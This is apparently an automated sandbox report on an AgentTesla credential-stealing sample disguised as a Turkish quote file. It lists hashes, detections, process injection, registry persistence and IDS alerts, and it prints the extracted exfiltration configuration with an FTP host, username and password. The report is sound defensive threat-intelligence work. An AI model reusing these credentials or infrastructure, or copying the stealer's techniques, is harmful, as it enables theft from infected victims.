Edit tour

Windows Analysis Report
Teklif-6205018797-6100052155-UUE.exe

Overview

General Information

Sample name:	Teklif-6205018797-6100052155-UUE.exe
Analysis ID:	1520406
MD5:	a016634929c4d57cc24719723a4cd65c
SHA1:	91e7492b6d3e543f185c69846bd175a626a931f5
SHA256:	182b161a951229364aef6e16d358beb00f285c9f146053471ad22e714eefa719
Tags:	exegeoTURuser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Allocates memory in foreign processes

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Teklif-6205018797-6100052155-UUE.exe (PID: 3060 cmdline: "C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe" MD5: A016634929C4D57CC24719723A4CD65C)

InstallUtil.exe (PID: 6972 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Ptqlzgvzpfa.exe (PID: 1120 cmdline: "C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe" MD5: A016634929C4D57CC24719723A4CD65C)

InstallUtil.exe (PID: 6020 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Ptqlzgvzpfa.exe (PID: 2928 cmdline: "C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe" MD5: A016634929C4D57CC24719723A4CD65C)

InstallUtil.exe (PID: 5488 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2231136103.0000000005860000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.2532815910.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2532815910.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.2448653484.000000000263E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2532815910.0000000002DDE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2206832205.0000000002538000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.3319267989.0000000002C1E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.3319267989.0000000002C07000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2446673623.0000000002F47000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.2448653484.00000000025F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2448653484.00000000025F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2532866894.0000000002918000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 6972	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 6972	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Ptqlzgvzpfa.exe PID: 1120	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Ptqlzgvzpfa.exe PID: 1120	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Ptqlzgvzpfa.exe PID: 1120	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Ptqlzgvzpfa.exe PID: 1120	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Ptqlzgvzpfa.exe PID: 2928	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Ptqlzgvzpfa.exe PID: 2928	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Ptqlzgvzpfa.exe PID: 2928	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Ptqlzgvzpfa.exe PID: 2928	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 6020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 6020	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 5488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5488	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 42 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Teklif-6205018797-6100052155-UUE.exe.5860000.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Teklif-6205018797-6100052155-UUE.exe.3e25f60.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31261:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x312d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3135d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31459:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x314cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31561:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e67c:$s2: GetPrivateProfileString 0x2dd9d:$s3: get_OSFullName 0x2f38e:$s5: remove_Key 0x2f56c:$s5: remove_Key 0x3047a:$s6: FtpWebRequest 0x31243:$s7: logins 0x317b5:$s7: logins 0x344ba:$s7: logins 0x34578:$s7: logins 0x35e7e:$s7: logins 0x3511c:$s9: 1.85 (Hash, version 2, native byte-order)
2.2.InstallUtil.exe.360000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.InstallUtil.exe.360000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.InstallUtil.exe.360000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
2.2.InstallUtil.exe.360000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe, ProcessId: 3060, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ptqlzgvzpfa

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T10:43:39.090953+0200	2029927	1	A Network Trojan was detected	192.168.2.5	49705	5.2.84.236	21	TCP
2024-09-27T10:44:02.252408+0200	2029927	1	A Network Trojan was detected	192.168.2.5	52078	5.2.84.236	21	TCP
2024-09-27T10:44:10.402749+0200	2029927	1	A Network Trojan was detected	192.168.2.5	52080	5.2.84.236	21	TCP

ET MALWARE PE EXE or DLL Windows file download Text M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T10:43:23.015150+0200	2022640	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.5	49704	TCP
2024-09-27T10:43:46.488310+0200	2022640	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.5	52073	TCP
2024-09-27T10:43:54.928209+0200	2022640	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.5	52077	TCP

ET MALWARE PE EXE or DLL Windows file download disguised as ASCII

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T10:43:23.015150+0200	2017962	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.5	49704	TCP
2024-09-27T10:43:46.488310+0200	2017962	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.5	52073	TCP
2024-09-27T10:43:54.928209+0200	2017962	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.5	52077	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T10:43:39.726339+0200	2855542	1	A Network Trojan was detected	192.168.2.5	49708	5.2.84.236	55987	TCP
2024-09-27T10:43:39.733257+0200	2855542	1	A Network Trojan was detected	192.168.2.5	49708	5.2.84.236	55987	TCP
2024-09-27T10:44:02.871511+0200	2855542	1	A Network Trojan was detected	192.168.2.5	52079	5.2.84.236	60855	TCP
2024-09-27T10:44:02.882716+0200	2855542	1	A Network Trojan was detected	192.168.2.5	52079	5.2.84.236	60855	TCP
2024-09-27T10:44:11.022491+0200	2855542	1	A Network Trojan was detected	192.168.2.5	52081	5.2.84.236	52109	TCP
2024-09-27T10:44:11.027817+0200	2855542	1	A Network Trojan was detected	192.168.2.5	52081	5.2.84.236	52109	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe

ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: Teklif-6205018797-6100052155-UUE.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Teklif-6205018797-6100052155-UUE.exe

Joe Sandbox ML: detected

Source: Teklif-6205018797-6100052155-UUE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.5:52073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.5:52077 version: TLS 1.2

Source: Teklif-6205018797-6100052155-UUE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000027FC000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003549000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2232534783.0000000005A10000.00000004.08000000.00040000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2477328871.0000000003FA7000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.00000000031B2000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2558909751.0000000003977000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002A78000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000027FC000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003549000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2232534783.0000000005A10000.00000004.08000000.00040000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2477328871.0000000003FA7000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.00000000031B2000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2558909751.0000000003977000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002A78000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05960580
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then jmp 0596257Ah	0_2_05962540
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05960578
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05960697
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then jmp 0596257Ah	0_2_05962320
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then jmp 0598564Ch	0_2_059855D8
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then jmp 0598564Ch	0_2_059855E8
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then jmp 059861A1h	0_2_05986130
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then jmp 059861A1h	0_2_05986140
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then jmp 0598C3D8h	0_2_0598C319
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then jmp 0598C3D8h	0_2_0598C320
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_05A0D3E0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_06450578
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_06450530
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_06450580
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 0645257Ah	4_2_06452303
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 0647C3D8h	4_2_0647C319
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 0647C3D8h	4_2_0647C320
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 064761A1h	4_2_06476140
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 064761A1h	4_2_06476130
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 0647564Ch	4_2_064755D8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 0647564Ch	4_2_064755E8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	4_2_064FD3E0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	5_2_05D30580
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 05D3257Ah	5_2_05D32540
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	5_2_05D30578
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then mov eax, dword ptr [ebp-34h]	5_2_05D30530
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 05D3257Ah	5_2_05D32303
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 05D5564Ch	5_2_05D555D8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 05D5564Ch	5_2_05D555E8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 05D561A1h	5_2_05D56140
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 05D561A1h	5_2_05D56130
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 05D5C3D8h	5_2_05D5C319
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then jmp 05D5C3D8h	5_2_05D5C320
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	5_2_05DDD3E0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.5:49708 -> 5.2.84.236:55987
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.5:52079 -> 5.2.84.236:60855
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.5:52081 -> 5.2.84.236:52109
